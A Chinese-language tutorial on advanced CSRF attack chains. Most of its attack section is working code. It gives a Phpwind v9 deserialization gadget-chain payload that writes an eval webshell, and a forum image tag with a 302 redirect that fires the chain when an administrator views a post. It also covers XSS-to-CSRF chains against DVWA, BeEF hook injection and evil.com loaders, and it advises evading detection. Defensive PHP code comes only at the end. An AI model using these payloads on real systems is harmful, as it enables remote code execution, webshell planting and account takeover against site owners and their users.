CSRF高级攻击技术

CSRF与反序列化结合

原理概述

将CSRF和反序列化漏洞结合,可以使只能在后台触发的序列化漏洞变为前台getshell,大大降低漏洞利用条件。这种技术的核心思想是:利用CSRF的自动执行特性,触发后台的反序列化漏洞。

核心知识点

回调函数

1
mixed call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数调用,把参数数组作为回调函数的参数传入。

1
2
3
4
5
6
7
<?php
function test($a, $b) {
echo $a + $b;
}

call_user_func_array('test', [1, 2]); // 输出: 3
?>

自动加载机制

PHP提供了三个函数用于类的自动加载:

  • spl_autoload(): 提供__autoload()的默认实现
  • spl_autoload_register(): 注册给定的函数作为__autoload的实现
  • __autoload(): 尝试加载未定义的类
1
2
3
4
5
6
7
8
9
<?php
// 注册自动加载函数
spl_autoload_register(function($className) {
include $className . '.php';
});

// 当使用未定义的类时,自动加载函数会被调用
$obj = new MyClass(); // 自动加载 MyClass.php
?>

实战案例:Phpwind GET型CSRF任意代码执行

漏洞分析

Phpwind v9中存在一个后台反序列化漏洞,位于Task模块下。该漏洞利用了以下技术:

  1. 后台反序列化点: Task模块的beforeAction方法
  2. 魔术方法: PwDelayRun类的__destruct方法
  3. 自动加载: 利用spl_autoload包含任意PHP文件
  4. 命名空间: 利用Windows路径分隔符绕过限制
  5. StdClass: 代替数组绕过is_array检查

漏洞代码分析

1
2
3
4
5
6
7
8
9
10
// src/applications/task/admin/TaskConditionMemberController.php
class TaskConditionMemberController extends AdminBaseController {
public function beforeAction($handlerAdapter) {
parent::beforeAction($handlerAdapter);
$var = unserialize($this->getInput('var'));
if (is_array($var)) {
$this->setOutput($var, 'condition');
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
// src/library/utility/PwDelayRun.php
class PwDelayRun {
private static $instance = null;
private $_callback = array();
private $_args = array();

public function __destruct() {
foreach ($this->_callback as $key => $value) {
call_user_func_array($value, $this->_args[$key]);
}
}
}

利用步骤

步骤1: 找到反序列化点

反序列化位置在Task模块的beforeAction方法中,可以通过GET/POST/Cookie参数传入。

步骤2: 找到魔术方法

PwDelayRun类的__destruct方法会遍历_callback数组,使用call_user_func_array执行任意函数。

步骤3: 解决类未加载问题

反序列化时PwDelayRun类未加载,需要利用自动加载机制。

1
2
3
4
5
6
7
8
9
// Wind::autoLoad
public static function autoLoad($className, $path = '') {
if ($path)
include $path . '.' . self::$_extensions;
elseif (isset(self::$_classes[$className])) {
include self::$_classes[$className] . '.' . self::$_extensions;
} else
include $className . '.' . self::$_extensions;
}

步骤4: 利用命名空间包含文件

在Windows下,\可以作为路径分隔符。构造类名为src\library\utility\PwDelayRun,最终会包含src\library\utility\PwDelayRun.php文件。

步骤5: 解决命名空间问题

Phpwind使用默认命名空间\,而PwDelayRun类在src\library\utility命名空间下。需要构造两个对象:

  • src\library\utility\PwDelayRun: 用于触发自动加载
  • \PwDelayRun: 用于实际利用

步骤6: 绕过is_array检查

使用StdClass对象代替数组,绕过is_array($var)的检查。

Payload构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
namespace src\library\utility {
class PwDelayRun {
// 空类,用于触发自动加载
}
}

namespace {
class PwDelayRun {
private $_callback;
private $_args;

function __construct() {
$this->_callback = [
'assert'
];
$this->_args = [
["file_put_contents('./shell.php', '<?php @eval($_POST[a]);?>');phpinfo();exit;"]
];
}
}

header("Content-Type: text/plain");

// 使用StdClass代替数组
$obj = new stdClass();
$obj->a = new src\library\utility\PwDelayRun();
$obj->b = new PwDelayRun();

echo urlencode(serialize($obj));
}
?>

利用方式

方式1: 直接访问后台URL

1
http://127.0.0.1/phpwind/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A71%3A%22file_put_contents%28%27.%2Fshell.php%27%2C+%27%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%27%29%3Bphpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D

方式2: 结合CSRF降低利用门槛

由于该漏洞是GET请求,可以利用CSRF在前台触发。

302跳转页面:

1
2
3
4
<?php
header("Content-Type: image/gif");
header("Location: http://127.0.0.1/phpwind/admin.php?m=task&c=TaskConditionMember&a=profile&var=PAYLOAD");
?>

发帖内容:

1
[img]http://vps_ip/302.php[/img]

当管理员查看该帖子时,会自动触发漏洞,写入webshell。

技术要点总结

  1. 自动加载利用: 利用spl_autoload机制包含任意PHP文件
  2. 命名空间技巧: 利用Windows路径分隔符绕过限制
  3. StdClass绕过: 使用对象代替数组绕过is_array检查
  4. CSRF结合: 将后台漏洞变为前台利用

XSS与CSRF组合攻击

原理概述

XSS和CSRF可以组合使用,形成更强大的攻击链。组合攻击的核心思想是:利用XSS注入恶意代码,恶意代码中包含CSRF攻击链接,从而在受害者不知情的情况下执行恶意操作。

存储型XSS + CSRF

攻击流程

  1. 攻击者在存在存储型XSS的地方插入恶意代码
  2. 恶意代码中包含CSRF攻击链接
  3. 受害者访问包含XSS的页面
  4. XSS代码自动执行,打开CSRF攻击链接
  5. CSRF攻击成功,执行恶意操作

POC构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!-- CSRF POC -->
<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "42" );
function pausecomp(millis){
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);}
function fireForms(){
var count = 1;
var i=0;
for(i=0; i<count; i++){
document.forms[i].submit();
pausecomp(pauses[i]);}}
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change">
<input type="hidden" name="password_new" value="12345678"/>
<input type="hidden" name="password_conf" value="12345678"/>
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>
1
2
<!-- XSS POC -->
<script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script>

利用步骤

  1. 将CSRF POC保存为csrf.html
  2. 在存在存储型XSS的地方插入XSS POC
  3. 受害者访问包含XSS的页面
  4. XSS代码自动执行,打开CSRF攻击链接
  5. CSRF攻击成功,修改受害者密码

CSRF + SelfXSS

攻击流程

  1. 攻击者构造CSRF攻击链接
  2. CSRF攻击链接中包含SelfXSS代码
  3. 诱导受害者点击CSRF链接
  4. CSRF攻击成功,SelfXSS代码被执行
  5. SelfXSS代码连接攻击者的XSS平台

POC构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!-- CSRF POC -->
<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "54" );
function pausecomp(millis){
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);}
function fireForms(){
var count = 1;
var i=0;
for(i=0; i<count; i++){
document.forms[i].submit();
pausecomp(pauses[i]);}}
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>">
<input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/>
</form>
</body>
</html>

利用步骤

  1. 使用Beef等XSS平台生成hook.js
  2. 将hook.js的URL插入到CSRF POC中
  3. 诱导受害者点击CSRF链接
  4. CSRF攻击成功,SelfXSS代码被执行
  5. 受害者浏览器连接到Beef平台

靶场环境搭建

环境配置

1
2
3
本机(Win): 192.168.38.1
DVWA(Win): 192.168.38.132
Beef(Kali): 192.168.38.129

Beef安装

1
2
3
4
5
6
# Kali Linux
sudo apt update
sudo apt install beef-xss

# 启动Beef
sudo beef

DVWA配置

1
2
3
4
5
// config/config.inc.php
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';

工具推荐

CSRFTester

CSRFTester是一个自动生成CSRF POC的工具。

1
2
3
4
5
# 下载CSRFTester
wget https://github.com/AonCyberLabs/CSRFTester/releases/download/v1.0/CSRFTester-1.0.jar

# 运行CSRFTester
java -jar CSRFTester-1.0.jar

使用步骤:

  1. 配置浏览器代理到CSRFTester(默认8008端口)
  2. 开启CSRFTester的流量记录功能
  3. 在目标网站执行敏感操作
  4. 在CSRFTester中选择相关的流量
  5. 点击Generate HTML生成POC

Beef

Beef是一个强大的浏览器渗透测试框架。

1
2
3
4
5
6
7
# 启动Beef
sudo beef

# 访问Beef控制台
http://127.0.0.1:3000/ui/panel
# 默认用户名: beef
# 默认密码: beef

Hook代码:

1
<script src="http://beef_server:3000/hook.js"></script>

实战技巧

隐蔽性提升

CSRFTester生成的POC比Burp Suite生成的更隐蔽:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!-- CSRFTester生成的POC -->
<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "42" );
function pausecomp(millis){
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);}
function fireForms(){
var count = 1;
var i=0;
for(i=0; i<count; i++){
document.forms[i].submit();
pausecomp(pauses[i]);}}
</script>
<form method="GET" name="form0" action="http://target.com/change_password">
<input type="hidden" name="password_new" value="123456"/>
<input type="hidden" name="password_conf" value="123456"/>
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>

优点:

  • 自动执行,无需用户交互
  • 执行后自动跳转
  • 隐蔽性高

绕过长度限制

某些网站对输入长度有限制,可以使用以下方法绕过:

1
2
3
4
5
6
7
8
// 方法1: 使用外部JS文件
<script src="http://evil.com/xss.js"></script>

// 方法2: 使用302跳转
<script src="x" onerror=window.location="http://evil.com/302.php"></script>

// 方法3: 使用短链接
<script src="x" onerror=window.location="http://short.url/abc"></script>

组合攻击链

1
2
3
4
5
6
7
8
9
10
11
12
// XSS -> CSRF -> 反序列化 -> RCE
<script>
// 1. XSS代码
fetch('http://evil.com/csrf.html')
.then(response => response.text())
.then(html => {
// 2. CSRF代码
document.body.innerHTML = html;
// 3. 触发反序列化
document.forms[0].submit();
});
</script>

防御建议

防御CSRF与反序列化结合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// 1. 限制反序列化的使用范围
// 2. 对反序列化的数据进行签名
function sign_data($data) {
$secret = 'your_secret_key';
return hash_hmac('sha256', $data, $secret);
}

function verify_data($data, $signature) {
$secret = 'your_secret_key';
$expected = hash_hmac('sha256', $data, $secret);
return hash_equals($expected, $signature);
}

// 3. 使用安全的序列化格式(如JSON)
?>

防御XSS与CSRF组合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
// 1. 输入过滤和输出编码
function escape_output($data) {
return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
}

// 2. 使用CSP(Content Security Policy)
header("Content-Security-Policy: default-src 'self'; script-src 'self'");

// 3. 使用X-XSS-Protection头
header("X-XSS-Protection: 1; mode=block");

// 4. 使用CSRF Token
session_start();
function generate_csrf_token() {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}

function verify_csrf_token($token) {
return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
}
?>

综合防御措施

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
// 1. 使用SameSite Cookie
session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);

// 2. 验证Referer和Origin
function verify_request_origin() {
$allowed_domains = ['https://example.com'];
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';

$referer_domain = parse_url($referer, PHP_URL_SCHEME) . '://' . parse_url($referer, PHP_URL_HOST);

return in_array($referer_domain, $allowed_domains) || in_array($origin, $allowed_domains);
}

// 3. 对敏感操作进行二次确认
// 4. 限制请求方法
// 5. 使用成熟的安全框架
?>

总结

CSRF高级攻击技术主要包括:

  1. CSRF与反序列化结合: 将后台漏洞变为前台利用,大大降低利用门槛
  2. XSS与CSRF组合: 形成更强大的攻击链,提高攻击成功率
  3. 自动化工具: 使用CSRFTester、Beef等工具提高攻击效率

在实际攻击中,需要根据目标环境的特点选择合适的攻击方式。同时,要注意防御措施,避免被检测到。

防御CSRF高级攻击需要综合运用多种措施:

  • 使用CSRF Token
  • 设置SameSite Cookie
  • 验证请求来源
  • 限制反序列化使用
  • 防御XSS漏洞
  • 使用安全框架

只有综合运用多种防御措施,才能有效防范CSRF高级攻击。